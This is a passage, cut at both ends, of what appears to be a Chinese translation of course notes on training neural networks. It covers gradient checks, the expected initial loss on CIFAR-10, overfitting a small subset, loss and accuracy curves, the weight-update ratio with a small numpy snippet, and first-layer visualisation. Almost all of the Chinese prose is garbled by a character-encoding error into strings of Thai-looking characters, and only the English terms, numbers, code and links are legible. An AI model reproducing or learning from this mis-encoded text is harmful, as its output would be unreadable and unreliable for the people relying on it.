ๆฎๆŸๅคฑ๏ผŒๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹ๆขฏๅบฆไธป่ฆๆฅๆบไบŽๆญฃๅˆ™ๅŒ–้ƒจๅˆ†๏ผˆๆญฃๅˆ™ๅŒ–้ƒจๅˆ†็š„ๆขฏๅบฆ่กจ่พพๅผ้€šๅธธ็ฎ€ๅ•ๅพˆๅคš๏ผ‰ใ€‚่ฟ™ๆ ทๅฐฑไผšๆŽฉ็›–ๆŽ‰ๆ•ฐๆฎๆŸๅคฑๆขฏๅบฆ็š„ไธๆญฃ็กฎๅฎž็Žฐใ€‚ๅ› ๆญค๏ผŒๆŽจ่ๅ…ˆๅ…ณๆŽ‰ๆญฃๅˆ™ๅŒ–ๅฏนๆ•ฐๆฎๆŸๅคฑๅšๅ•็‹ฌๆฃ€ๆŸฅ๏ผŒ็„ถๅŽๅฏนๆญฃๅˆ™ๅŒ–ๅšๅ•็‹ฌๆฃ€ๆŸฅใ€‚ๅฏนไบŽๆญฃๅˆ™ๅŒ–็š„ๅ•็‹ฌๆฃ€ๆŸฅๅฏไปฅๆ˜ฏไฟฎๆ”นไปฃ็ ๏ผŒๅŽปๆŽ‰ๅ…ถไธญๆ•ฐๆฎๆŸๅคฑ็š„้ƒจๅˆ†๏ผŒไนŸๅฏไปฅๆ้ซ˜ๆญฃๅˆ™ๅŒ–ๅผบๅบฆ๏ผŒ็กฎ่ฎคๅ…ถๆ•ˆๆžœๅœจๆขฏๅบฆๆฃ€ๆŸฅไธญๆ˜ฏๆ— ๆณ•ๅฟฝ็•ฅ็š„๏ผŒ่ฟ™ๆ ทไธๆญฃ็กฎ็š„ๅฎž็Žฐๅฐฑไผš่ขซ่ง‚ๅฏŸๅˆฐไบ†ใ€‚\n\n\n\n**่ฎฐๅพ—ๅ…ณ้—ญ้šๆœบๅคฑๆดป๏ผˆdropout๏ผ‰ๅ’Œๆ•ฐๆฎๆ‰ฉๅผ ๏ผˆaugmentation๏ผ‰**ใ€‚ๅœจ่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅๆ—ถ๏ผŒ่ฎฐๅพ—ๅ…ณ้—ญ็ฝ‘็ปœไธญไปปไฝ•ไธ็กฎๅฎš็š„ๆ•ˆๆžœ็š„ๆ“ไฝœ๏ผŒๆฏ”ๅฆ‚้šๆœบๅคฑๆดป๏ผŒ้šๆœบๆ•ฐๆฎๆ‰ฉๅฑ•็ญ‰ใ€‚ไธ็„ถๅฎƒไปฌไผšๅœจ่ฎก็ฎ—ๆ•ฐๅ€ผๆขฏๅบฆ็š„ๆ—ถๅ€™ๅฏผ่‡ดๅทจๅคง่ฏฏๅทฎใ€‚ๅ…ณ้—ญ่ฟ™ไบ›ๆ“ไฝœไธๅฅฝ็š„ไธ€็‚นๆ˜ฏๆ— ๆณ•ๅฏนๅฎƒไปฌ่ฟ›่กŒๆขฏๅบฆๆฃ€ๆŸฅ๏ผˆไพ‹ๅฆ‚้šๆœบๅคฑๆดป็š„ๅๅ‘ไผ ๆ’ญๅฎž็Žฐๅฏ่ƒฝๆœ‰้”™่ฏฏ๏ผ‰ใ€‚ๅ› ๆญค๏ผŒไธ€ไธชๆ›ดๅฅฝ็š„่งฃๅ†ณๆ–นๆกˆๅฐฑๆ˜ฏๅœจ่ฎก็ฎ—$f(x+h)$ๅ’Œ$f(x-h)$ๅ‰ๅผบๅˆถๅขžๅŠ ไธ€ไธช็‰นๅฎš็š„้šๆœบ็งๅญ๏ผŒๅœจ่ฎก็ฎ—่งฃๆžๆขฏๅบฆๆ—ถไนŸๅŒๆ ทๅฆ‚ๆญคใ€‚\n\n\n\n**ๆฃ€ๆŸฅๅฐ‘้‡็š„็ปดๅบฆใ€‚**ๅœจๅฎž้™…ไธญ๏ผŒๆขฏๅบฆๅฏไปฅๆœ‰ไธŠ็™พไธ‡็š„ๅ‚ๆ•ฐ๏ผŒๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹ๅช่ƒฝๆฃ€ๆŸฅๅ…ถไธญไธ€ไบ›็ปดๅบฆ็„ถๅŽๅ‡่ฎพๅ…ถไป–็ปดๅบฆๆ˜ฏๆญฃ็กฎ็š„ใ€‚**ๆณจๆ„****๏ผš**็กฎ่ฎคๅœจๆ‰€ๆœ‰ไธๅŒ็š„ๅ‚ๆ•ฐไธญ้ƒฝๆŠฝๅ–ไธ€้ƒจๅˆ†ๆฅๆขฏๅบฆๆฃ€ๆŸฅใ€‚ๅœจๆŸไบ›ๅบ”็”จไธญ๏ผŒไธบไบ†ๆ–นไพฟ๏ผŒไบบไปฌๅฐ†ๆ‰€ๆœ‰็š„ๅ‚ๆ•ฐๆ”พๅˆฐไธ€ไธชๅทจๅคง็š„ๅ‚ๆ•ฐๅ‘้‡ไธญใ€‚ๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹๏ผŒไพ‹ๅฆ‚ๅ็ฝฎๅฐฑๅฏ่ƒฝๅชๅ ็”จๆ•ดไธชๅ‘้‡ไธญ็š„ๅพˆๅฐไธ€้ƒจๅˆ†๏ผŒๆ‰€ไปฅไธ่ฆ้šๆœบๅœฐไปŽๅ‘้‡ไธญๅ–็ปดๅบฆ๏ผŒไธ€ๅฎš่ฆๆŠŠ่ฟ™็งๆƒ…ๅ†ต่€ƒ่™‘ๅˆฐ๏ผŒ็กฎไฟๆ‰€ๆœ‰ๅ‚ๆ•ฐ้ƒฝๆ”ถๅˆฐไบ†ๆญฃ็กฎ็š„ๆขฏๅบฆใ€‚\n\n\n\n## ๅญฆไน ไน‹ๅ‰๏ผšๅˆ็†ๆ€งๆฃ€ๆŸฅ็š„ๆ็คบไธŽๆŠ€ๅทง\n\nๅœจ่ฟ›่กŒ่ดนๆ—ถ่ดนๅŠ›็š„ๆœ€ไผ˜ๅŒ–ไน‹ๅ‰๏ผŒๆœ€ๅฅฝ่ฟ›่กŒไธ€ไบ›ๅˆ็†ๆ€งๆฃ€ๆŸฅ๏ผš\n\n- **ๅฏปๆ‰พ็‰นๅฎšๆƒ…ๅ†ต็š„ๆญฃ็กฎๆŸๅคฑๅ€ผใ€‚**ๅœจไฝฟ็”จๅฐๅ‚ๆ•ฐ่ฟ›่กŒๅˆๅง‹ๅŒ–ๆ—ถ๏ผŒ็กฎไฟๅพ—ๅˆฐ็š„ๆŸๅคฑๅ€ผไธŽๆœŸๆœ›ไธ€่‡ดใ€‚ๆœ€ๅฅฝๅ…ˆๅ•็‹ฌๆฃ€ๆŸฅๆ•ฐๆฎๆŸๅคฑ๏ผˆ่ฎฉๆญฃๅˆ™ๅŒ–ๅผบๅบฆไธบ0๏ผ‰ใ€‚ไพ‹ๅฆ‚๏ผŒๅฏนไบŽไธ€ไธช่ท‘CIFAR-10็š„Softmaxๅˆ†็ฑปๅ™จ๏ผŒไธ€่ˆฌๆœŸๆœ›ๅฎƒ็š„ๅˆๅง‹ๆŸๅคฑๅ€ผๆ˜ฏ2.302๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅˆๅง‹ๆ—ถ้ข„่ฎกๆฏไธช็ฑปๅˆซ็š„ๆฆ‚็Ž‡ๆ˜ฏ0.1๏ผˆๅ› ไธบๆœ‰10ไธช็ฑปๅˆซ๏ผ‰๏ผŒ็„ถๅŽSoftmaxๆŸๅคฑๅ€ผๆญฃ็กฎๅˆ†็ฑป็š„่ดŸๅฏนๆ•ฐๆฆ‚็Ž‡๏ผš-ln(0.1)=2.302ใ€‚ๅฏนไบŽWeston Watkins SVM๏ผŒๅ‡่ฎพๆ‰€ๆœ‰็š„่พน็•Œ้ƒฝ่ขซ่ถŠ่ฟ‡๏ผˆๅ› ไธบๆ‰€ๆœ‰็š„ๅˆ†ๅ€ผ้ƒฝ่ฟ‘ไผผไธบ้›ถ๏ผ‰๏ผŒๆ‰€ไปฅๆŸๅคฑๅ€ผๆ˜ฏ9๏ผˆๅ› ไธบๅฏนไบŽๆฏไธช้”™่ฏฏๅˆ†็ฑป๏ผŒ่พน็•Œๅ€ผๆ˜ฏ1๏ผ‰ใ€‚ๅฆ‚ๆžœๆฒก็œ‹ๅˆฐ่ฟ™ไบ›ๆŸๅคฑๅ€ผ๏ผŒ้‚ฃไนˆๅˆๅง‹ๅŒ–ไธญๅฐฑๅฏ่ƒฝๆœ‰้—ฎ้ข˜ใ€‚\n- ็ฌฌไบŒไธชๅˆ็†ๆ€งๆฃ€ๆŸฅ๏ผšๆ้ซ˜ๆญฃๅˆ™ๅŒ–ๅผบๅบฆๆ—ถๅฏผ่‡ดๆŸๅคฑๅ€ผๅ˜ๅคงใ€‚\n- **ๅฏนๅฐๆ•ฐๆฎๅญ้›†่ฟ‡ๆ‹Ÿๅˆใ€‚**ๆœ€ๅŽไนŸๆ˜ฏๆœ€้‡่ฆ็š„ไธ€ๆญฅ๏ผŒๅœจๆ•ดไธชๆ•ฐๆฎ้›†่ฟ›่กŒ่ฎญ็ปƒไน‹ๅ‰๏ผŒๅฐ่ฏ•ๅœจไธ€ไธชๅพˆๅฐ็š„ๆ•ฐๆฎ้›†ไธŠ่ฟ›่กŒ่ฎญ็ปƒ๏ผˆๆฏ”ๅฆ‚20ไธชๆ•ฐๆฎ๏ผ‰๏ผŒ็„ถๅŽ็กฎไฟ่ƒฝๅˆฐ่พพ0็š„ๆŸๅคฑๅ€ผใ€‚่ฟ›่กŒ่ฟ™ไธชๅฎž้ชŒ็š„ๆ—ถๅ€™๏ผŒๆœ€ๅฅฝ่ฎฉๆญฃๅˆ™ๅŒ–ๅผบๅบฆไธบ0๏ผŒไธ็„ถๅฎƒไผš้˜ปๆญขๅพ—ๅˆฐ0็š„ๆŸๅคฑใ€‚้™ค้ž่ƒฝ้€š่ฟ‡่ฟ™ไธ€ไธชๆญฃๅธธๆ€งๆฃ€ๆŸฅ๏ผŒไธ็„ถ่ฟ›่กŒๆ•ดไธชๆ•ฐๆฎ้›†่ฎญ็ปƒๆ˜ฏๆฒกๆœ‰ๆ„ไน‰็š„ใ€‚ไฝ†ๆ˜ฏๆณจๆ„๏ผŒ่ƒฝๅฏนๅฐๆ•ฐๆฎ้›†่ฟ›่กŒ่ฟ‡ๆ‹Ÿๅˆๅนถไธไปฃ่กจไธ‡ไบ‹ๅคงๅ‰๏ผŒไพ็„ถๆœ‰ๅฏ่ƒฝๅญ˜ๅœจไธๆญฃ็กฎ็š„ๅฎž็Žฐใ€‚ๆฏ”ๅฆ‚๏ผŒๅ› ไธบๆŸไบ›้”™่ฏฏ๏ผŒๆ•ฐๆฎ็‚น็š„็‰นๅพๆ˜ฏ้šๆœบ็š„๏ผŒ่ฟ™ๆ ท็ฎ—ๆณ•ไนŸๅฏ่ƒฝๅฏนๅฐๆ•ฐๆฎ่ฟ›่กŒ่ฟ‡ๆ‹Ÿๅˆ๏ผŒไฝ†ๆ˜ฏๅœจๆ•ดไธชๆ•ฐๆฎ้›†ไธŠ่ท‘็ฎ—ๆณ•็š„ๆ—ถๅ€™๏ผŒๅฐฑๆฒกๆœ‰ไปปไฝ•ๆณ›ๅŒ–่ƒฝๅŠ›ใ€‚\n\n\n\n\n\n## ๆฃ€ๆŸฅๆ•ดไธชๅญฆไน ่ฟ‡็จ‹\n\nๅœจ่ฎญ็ปƒ็ฅž็ป็ฝ‘็ปœ็š„ๆ—ถๅ€™๏ผŒๅบ”่ฏฅ่ทŸ่ธชๅคšไธช้‡่ฆๆ•ฐๅ€ผใ€‚่ฟ™ไบ›ๆ•ฐๅ€ผ่พ“ๅ‡บ็š„ๅ›พ่กจๆ˜ฏ่ง‚ๅฏŸ่ฎญ็ปƒ่ฟ›็จ‹็š„ไธ€ๆ‰‡็ช—ๅฃ๏ผŒๆ˜ฏ็›ด่ง‚็†่งฃไธๅŒ็š„่ถ…ๅ‚ๆ•ฐ่ฎพ็ฝฎๆ•ˆๆžœ็š„ๅทฅๅ…ท๏ผŒไปŽ่€Œ็Ÿฅ้“ๅฆ‚ไฝ•ไฟฎๆ”น่ถ…ๅ‚ๆ•ฐไปฅ่Žทๅพ—ๆ›ด้ซ˜ๆ•ˆ็š„ๅญฆไน ่ฟ‡็จ‹ใ€‚\n\n\n\nๅœจไธ‹้ข็š„ๅ›พ่กจไธญ๏ผŒx่ฝด้€šๅธธ้ƒฝๆ˜ฏ่กจ็คบ**ๅ‘จๆœŸ๏ผˆepochs๏ผ‰**ๅ•ไฝ๏ผŒ่ฏฅๅ•ไฝ่กก้‡ไบ†ๅœจ่ฎญ็ปƒไธญๆฏไธชๆ ทๆœฌๆ•ฐๆฎ้ƒฝ่ขซ่ง‚ๅฏŸ่ฟ‡ๆฌกๆ•ฐ็š„ๆœŸๆœ›๏ผˆไธ€ไธชๅ‘จๆœŸๆ„ๅ‘ณ็€ๆฏไธชๆ ทๆœฌๆ•ฐๆฎ้ƒฝ่ขซ่ง‚ๅฏŸ่ฟ‡ไบ†ไธ€ๆฌก๏ผ‰ใ€‚็›ธ่พƒไบŽ่ฟญไปฃๆฌกๆ•ฐ๏ผˆiterations๏ผ‰๏ผŒไธ€่ˆฌๆ›ดๅ€พๅ‘่ทŸ่ธชๅ‘จๆœŸ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบ่ฟญไปฃๆฌกๆ•ฐไธŽๆ•ฐๆฎ็š„ๆ‰นๅฐบๅฏธ๏ผˆbatchsize๏ผ‰ๆœ‰ๅ…ณ๏ผŒ่€Œๆ‰นๅฐบๅฏธ็š„่ฎพ็ฝฎๅˆๅฏไปฅๆ˜ฏไปปๆ„็š„ใ€‚\n\n\n\n## ๆŸๅคฑๅ‡ฝๆ•ฐ\n\n่ฎญ็ปƒๆœŸ้—ด็ฌฌไธ€ไธช่ฆ่ทŸ่ธช็š„ๆ•ฐๅ€ผๅฐฑๆ˜ฏๆŸๅคฑๅ€ผ๏ผŒๅฎƒๅœจๅ‰ๅ‘ไผ ๆ’ญๆ—ถๅฏนๆฏไธช็‹ฌ็ซ‹็š„ๆ‰นๆ•ฐๆฎ่ฟ›่กŒ่ฎก็ฎ—ใ€‚ไธ‹ๅ›พๅฑ•็คบ็š„ๆ˜ฏ้š็€ๆŸๅคฑๅ€ผ้šๆ—ถ้—ด็š„ๅ˜ๅŒ–๏ผŒๅฐคๅ…ถๆ˜ฏๆ›ฒ็บฟๅฝข็Šถไผš็ป™ๅ‡บๅ…ณไบŽๅญฆไน ็Ž‡่ฎพ็ฝฎ็š„ๆƒ…ๅ†ต๏ผš\n\n---\n\n![](https://i.loli.net/2018/03/06/5a9eb0df884c0.png)\n\nๅทฆๅ›พๅฑ•็คบไบ†ไธๅŒ็š„ๅญฆไน ็Ž‡็š„ๆ•ˆๆžœใ€‚่ฟ‡ไฝŽ็š„ๅญฆไน ็Ž‡ๅฏผ่‡ด็ฎ—ๆณ•็š„ๆ”นๅ–„ๆ˜ฏ็บฟๆ€ง็š„ใ€‚้ซ˜ไธ€ไบ›็š„ๅญฆไน ็Ž‡ไผš็œ‹่ตทๆฅๅ‘ˆๅ‡ ไฝ•ๆŒ‡ๆ•ฐไธ‹้™๏ผŒๆ›ด้ซ˜็š„ๅญฆไน ็Ž‡ไผš่ฎฉๆŸๅคฑๅ€ผๅพˆๅฟซไธ‹้™๏ผŒไฝ†ๆ˜ฏๆŽฅ็€ๅฐฑๅœๅœจไธ€ไธชไธๅฅฝ็š„ๆŸๅคฑๅ€ผไธŠ๏ผˆ็ปฟ็บฟ๏ผ‰ใ€‚่ฟ™ๆ˜ฏๅ› ไธบๆœ€ไผ˜ๅŒ–็š„โ€œ่ƒฝ้‡โ€ๅคชๅคง๏ผŒๅ‚ๆ•ฐๅœจๆททๆฒŒไธญ้šๆœบ้œ‡่ก๏ผŒไธ่ƒฝๆœ€ไผ˜ๅŒ–ๅˆฐไธ€ไธชๅพˆๅฅฝ็š„็‚นไธŠใ€‚\n\n\n\nๅณๅ›พๆ˜พ็คบไบ†ไธ€ไธชๅ…ธๅž‹็š„้šๆ—ถ้—ดๅ˜ๅŒ–็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผ๏ผŒๅœจCIFAR-10ๆ•ฐๆฎ้›†ไธŠ้ข่ฎญ็ปƒไบ†ไธ€ไธชๅฐ็š„็ฝ‘็ปœ๏ผŒ่ฟ™ไธชๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผๆ›ฒ็บฟ็œ‹่ตทๆฅๆฏ”่พƒๅˆ็†๏ผˆ่™ฝ็„ถๅฏ่ƒฝๅญฆไน ็Ž‡ๆœ‰็‚นๅฐ๏ผŒไฝ†ๆ˜ฏๅพˆ้šพ่ฏด๏ผ‰๏ผŒ่€Œไธ”ๆŒ‡ๅ‡บไบ†ๆ‰นๆ•ฐๆฎ็š„ๆ•ฐ้‡ๅฏ่ƒฝๆœ‰็‚นๅคชๅฐ๏ผˆๅ› ไธบๆŸๅคฑๅ€ผ็š„ๅ™ช้Ÿณๅพˆๅคง๏ผ‰ใ€‚\n\n---\n\nๆŸๅคฑๅ€ผ็š„้œ‡่ก็จ‹ๅบฆๅ’Œๆ‰นๅฐบๅฏธ๏ผˆbatch size๏ผ‰ๆœ‰ๅ…ณ๏ผŒๅฝ“ๆ‰นๅฐบๅฏธไธบ1๏ผŒ้œ‡่กไผš็›ธๅฏน่พƒๅคงใ€‚ๅฝ“ๆ‰นๅฐบๅฏธๅฐฑๆ˜ฏๆ•ดไธชๆ•ฐๆฎ้›†ๆ—ถ้œ‡่กๅฐฑไผšๆœ€ๅฐ๏ผŒๅ› ไธบๆฏไธชๆขฏๅบฆๆ›ดๆ–ฐ้ƒฝๆ˜ฏๅ•่ฐƒๅœฐไผ˜ๅŒ–ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผˆ้™ค้žๅญฆไน ็Ž‡่ฎพ็ฝฎๅพ—่ฟ‡้ซ˜๏ผ‰ใ€‚\n\n\n\nๆœ‰็š„็ ”็ฉถ่€…ๅ–œๆฌข็”จๅฏนๆ•ฐๅŸŸๅฏนๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผไฝœๅ›พใ€‚ๅ› ไธบๅญฆไน ่ฟ‡็จ‹ไธ€่ˆฌ้ƒฝๆ˜ฏ้‡‡็”จๆŒ‡ๆ•ฐๅž‹็š„ๅฝข็Šถ๏ผŒๅ›พ่กจๅฐฑไผš็œ‹่ตทๆฅๆ›ดๅƒๆ˜ฏ่ƒฝๅคŸ็›ด่ง‚็†่งฃ็š„็›ด็บฟ๏ผŒ่€Œไธๆ˜ฏๅ‘ˆๆ›ฒๆฃ็ƒไธ€ๆ ท็š„ๆ›ฒ็บฟ็Šถใ€‚่ฟ˜ๆœ‰๏ผŒๅฆ‚ๆžœๅคšไธชไบคๅ‰้ชŒ่ฏๆจกๅž‹ๅœจไธ€ไธชๅ›พไธŠๅŒๆ—ถ่พ“ๅ‡บๅ›พๅƒ๏ผŒๅฎƒไปฌไน‹้—ด็š„ๅทฎๅผ‚ๅฐฑไผšๆฏ”่พƒๆ˜Žๆ˜พใ€‚\n\n\n\nๆœ‰ๆ—ถๅ€™ๆŸๅคฑๅ‡ฝๆ•ฐ็œ‹่ตทๆฅๅพˆๆœ‰ๆ„ๆ€๏ผš[lossfunctions.tumblr.com](http://link.zhihu.com/?target=http%3A//lossfunctions.tumblr.com)ใ€‚\n\n\n\n### ่ฎญ็ปƒ้›†ๅ’Œ้ชŒ่ฏ้›†ๅ‡†็กฎ็Ž‡\n\nๅœจ่ฎญ็ปƒๅˆ†็ฑปๅ™จ็š„ๆ—ถๅ€™๏ผŒ้œ€่ฆ่ทŸ่ธช็š„็ฌฌไบŒ้‡่ฆ็š„ๆ•ฐๅ€ผๆ˜ฏ้ชŒ่ฏ้›†ๅ’Œ่ฎญ็ปƒ้›†็š„ๅ‡†็กฎ็Ž‡ใ€‚่ฟ™ไธชๅ›พ่กจ่ƒฝๅคŸๅฑ•็Žฐ็Ÿฅ้“ๆจกๅž‹่ฟ‡ๆ‹Ÿๅˆ็š„็จ‹ๅบฆ๏ผš\n\n---\n\n![](https://i.loli.net/2018/03/06/5a9eb0efd5370.png)\n\nๅœจ่ฎญ็ปƒ้›†ๅ‡†็กฎ็Ž‡ๅ’Œ้ชŒ่ฏ้›†ๅ‡†็กฎ็Ž‡ไธญ้—ด็š„็ฉบ้š™ๆŒ‡ๆ˜Žไบ†ๆจกๅž‹่ฟ‡ๆ‹Ÿๅˆ็š„็จ‹ๅบฆใ€‚ๅœจๅ›พไธญ๏ผŒ่“่‰ฒ็š„้ชŒ่ฏ้›†ๆ›ฒ็บฟๆ˜พ็คบ็›ธ่พƒไบŽ่ฎญ็ปƒ้›†๏ผŒ้ชŒ่ฏ้›†็š„ๅ‡†็กฎ็Ž‡ไฝŽไบ†ๅพˆๅคš๏ผŒ่ฟ™ๅฐฑ่ฏดๆ˜Žๆจกๅž‹ๆœ‰ๅพˆๅผบ็š„่ฟ‡ๆ‹Ÿๅˆใ€‚้‡ๅˆฐ่ฟ™็งๆƒ…ๅ†ต๏ผŒๅฐฑๅบ”่ฏฅๅขžๅคงๆญฃๅˆ™ๅŒ–ๅผบๅบฆ๏ผˆๆ›ดๅผบ็š„L2ๆƒ้‡ๆƒฉ็ฝš๏ผŒๆ›ดๅคš็š„้šๆœบๅคฑๆดป็ญ‰๏ผ‰ๆˆ–ๆ”ถ้›†ๆ›ดๅคš็š„ๆ•ฐๆฎใ€‚ๅฆไธ€็งๅฏ่ƒฝๅฐฑๆ˜ฏ้ชŒ่ฏ้›†ๆ›ฒ็บฟๅ’Œ่ฎญ็ปƒ้›†ๆ›ฒ็บฟๅฆ‚ๅฝฑ้šๅฝข๏ผŒ่ฟ™็งๆƒ…ๅ†ต่ฏดๆ˜Žไฝ ็š„ๆจกๅž‹ๅฎน้‡่ฟ˜ไธๅคŸๅคง๏ผšๅบ”่ฏฅ้€š่ฟ‡ๅขžๅŠ ๅ‚ๆ•ฐๆ•ฐ้‡่ฎฉๆจกๅž‹ๅฎน้‡ๆ›ดๅคงไบ›ใ€‚\n\n---\n\n### ๆƒ้‡ๆ›ดๆ–ฐๆฏ”ไพ‹\n\nๆœ€ๅŽไธ€ไธชๅบ”่ฏฅ่ทŸ่ธช็š„้‡ๆ˜ฏๆƒ้‡ไธญๆ›ดๆ–ฐๅ€ผ็š„ๆ•ฐ้‡ๅ’Œๅ…จ้ƒจๅ€ผ็š„ๆ•ฐ้‡ไน‹้—ด็š„ๆฏ”ไพ‹ใ€‚ๆณจๆ„๏ผšๆ˜ฏ*ๆ›ดๆ–ฐ็š„*๏ผŒ่€Œไธๆ˜ฏๅŽŸๅง‹ๆขฏๅบฆ๏ผˆๆฏ”ๅฆ‚๏ผŒๅœจๆ™ฎ้€šsgdไธญๅฐฑๆ˜ฏๆขฏๅบฆไน˜ไปฅๅญฆไน ็Ž‡๏ผ‰ใ€‚้œ€่ฆๅฏนๆฏไธชๅ‚ๆ•ฐ้›†็š„ๆ›ดๆ–ฐๆฏ”ไพ‹่ฟ›่กŒๅ•็‹ฌ็š„่ฎก็ฎ—ๅ’Œ่ทŸ่ธชใ€‚ไธ€ไธช็ป้ชŒๆ€ง็š„็ป“่ฎบๆ˜ฏ่ฟ™ไธชๆฏ”ไพ‹ๅบ”่ฏฅๅœจ1e-3ๅทฆๅณใ€‚ๅฆ‚ๆžœๆ›ดไฝŽ๏ผŒ่ฏดๆ˜Žๅญฆไน ็Ž‡ๅฏ่ƒฝๅคชๅฐ๏ผŒๅฆ‚ๆžœๆ›ด้ซ˜๏ผŒ่ฏดๆ˜Žๅญฆไน ็Ž‡ๅฏ่ƒฝๅคช้ซ˜ใ€‚ไธ‹้ขๆ˜ฏๅ…ทไฝ“ไพ‹ๅญ๏ผš\n\n```python\n# ๅ‡่ฎพๅ‚ๆ•ฐๅ‘้‡ไธบW๏ผŒๅ…ถๆขฏๅบฆๅ‘้‡ไธบdW\nparam_scale = np.linalg.norm(W.ravel())\nupdate = -learning_rate*dW # ็ฎ€ๅ•SGDๆ›ดๆ–ฐ\nupdate_scale = np.linalg.norm(update.ravel())\nW += update # ๅฎž้™…ๆ›ดๆ–ฐ\nprint update_scale / param_scale # ่ฆๅพ—ๅˆฐ1e-3ๅทฆๅณ\n```\n\n็›ธ่พƒไบŽ่ทŸ่ธชๆœ€ๅคงๅ’Œๆœ€ๅฐๅ€ผ๏ผŒๆœ‰็ ”็ฉถ่€…ๆ›ดๅ–œๆฌข่ฎก็ฎ—ๅ’Œ่ทŸ่ธชๆขฏๅบฆ็š„่ŒƒๅผๅŠๅ…ถๆ›ดๆ–ฐใ€‚่ฟ™ไบ›็Ÿฉ้˜ต้€šๅธธๆ˜ฏ็›ธๅ…ณ็š„๏ผŒไนŸ่ƒฝๅพ—ๅˆฐ่ฟ‘ไผผ็š„็ป“ๆžœใ€‚\n\n\n\n### ๆฏๅฑ‚็š„ๆฟ€ๆดปๆ•ฐๆฎๅŠๆขฏๅบฆๅˆ†ๅธƒ\n\nไธ€ไธชไธๆญฃ็กฎ็š„ๅˆๅง‹ๅŒ–ๅฏ่ƒฝ่ฎฉๅญฆไน ่ฟ‡็จ‹ๅ˜ๆ…ข๏ผŒ็”š่‡ณๅฝปๅบ•ๅœๆญขใ€‚่ฟ˜ๅฅฝ๏ผŒ่ฟ™ไธช้—ฎ้ข˜ๅฏไปฅๆฏ”่พƒ็ฎ€ๅ•ๅœฐ่ฏŠๆ–ญๅ‡บๆฅใ€‚ๅ…ถไธญไธ€ไธชๆ–นๆณ•ๆ˜ฏ่พ“ๅ‡บ็ฝ‘็ปœไธญๆ‰€ๆœ‰ๅฑ‚็š„ๆฟ€ๆดปๆ•ฐๆฎๅ’Œๆขฏๅบฆๅˆ†ๅธƒ็š„ๆŸฑ็Šถๅ›พใ€‚็›ด่ง‚ๅœฐ่ฏด๏ผŒๅฐฑๆ˜ฏๅฆ‚ๆžœ็œ‹ๅˆฐไปปไฝ•ๅฅ‡ๆ€ช็š„ๅˆ†ๅธƒๆƒ…ๅ†ต๏ผŒ้‚ฃ้ƒฝไธๆ˜ฏๅฅฝๅ…†ๅคดใ€‚ๆฏ”ๅฆ‚๏ผŒๅฏนไบŽไฝฟ็”จtanh็š„็ฅž็ปๅ…ƒ๏ผŒๆˆ‘ไปฌๅบ”่ฏฅ็œ‹ๅˆฐๆฟ€ๆดปๆ•ฐๆฎ็š„ๅ€ผๅœจๆ•ดไธช[-1,1]ๅŒบ้—ดไธญ้ƒฝๆœ‰ๅˆ†ๅธƒใ€‚ๅฆ‚ๆžœ็œ‹ๅˆฐ็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บๅ…จ้ƒจๆ˜ฏ0๏ผŒๆˆ–่€…ๅ…จ้ƒฝ้ฅฑๅ’Œไบ†ๅพ€-1ๅ’Œ1ไธŠ่ท‘๏ผŒ้‚ฃ่‚ฏๅฎšๅฐฑๆ˜ฏๆœ‰้—ฎ้ข˜ไบ†ใ€‚\n\n\n\n## ็ฌฌไธ€ๅฑ‚ๅฏ่ง†ๅŒ–\n\nๆœ€ๅŽ๏ผŒๅฆ‚ๆžœๆ•ฐๆฎๆ˜ฏๅ›พๅƒๅƒ็ด ๆ•ฐๆฎ๏ผŒ้‚ฃไนˆๆŠŠ็ฌฌไธ€ๅฑ‚็‰นๅพๅฏ่ง†ๅŒ–ไผšๆœ‰ๅธฎๅŠฉ๏ผš\n\n---\n\n![](https://i.loli.net/2018/03/06/5a9eb100ebc0f.png)\n\nๅฐ†็ฅž็ป็ฝ‘็ปœ็ฌฌไธ€ๅฑ‚็š„ๆƒ้‡ๅฏ่ง†ๅŒ–็š„ไพ‹ๅญใ€‚ๅทฆๅ›พไธญ็š„็‰นๅพๅ……ๆปกไบ†ๅ™ช้Ÿณ๏ผŒ่ฟ™ๆš—็คบไบ†็ฝ‘็ปœๅฏ่ƒฝๅ‡บ็Žฐไบ†้—ฎ้ข˜๏ผš็ฝ‘็ปœๆฒกๆœ‰ๆ”ถๆ•›๏ผŒๅญฆไน ็Ž‡่ฎพ็ฝฎไธๆฐๅฝ“๏ผŒๆญฃๅˆ™ๅŒ–ๆƒฉ็ฝš็š„ๆƒ้‡่ฟ‡ไฝŽใ€‚ๅณๅ›พ็š„็‰นๅพไธ้”™๏ผŒๅนณๆป‘๏ผŒๅนฒๅ‡€่€Œไธ”็ง็ฑป็นๅคš๏ผŒ่ฏดๆ˜Ž่ฎญ็ปƒ่ฟ‡็จ‹่ฟ›่กŒ่‰ฏๅฅฝใ€‚\n\n\n\n## ๅ‚ๆ•ฐๆ›ดๆ–ฐ\n\nไธ€ๆ—ฆ่ƒฝไฝฟ็”จๅๅ‘ไผ ๆ’ญ่ฎก็ฎ—่งฃๆžๆขฏๅบฆ๏ผŒๆขฏๅบฆๅฐฑ่ƒฝ่ขซ็”จๆฅ่ฟ›่กŒๅ‚ๆ•ฐๆ›ดๆ–ฐไบ†ใ€‚่ฟ›่กŒๅ‚ๆ•ฐๆ›ดๆ–ฐๆœ‰ๅฅฝๅ‡ ็งๆ–นๆณ•๏ผŒๆŽฅไธ‹ๆฅ้ƒฝไผš่ฟ›่กŒ่ฎจ่ฎบใ€‚\n\n\n\nๆทฑๅบฆ็ฝ‘็ปœ็š„ๆœ€ไผ˜ๅŒ–ๆ˜ฏ็Žฐๅœจ้žๅธธๆดป่ทƒ็š„็ 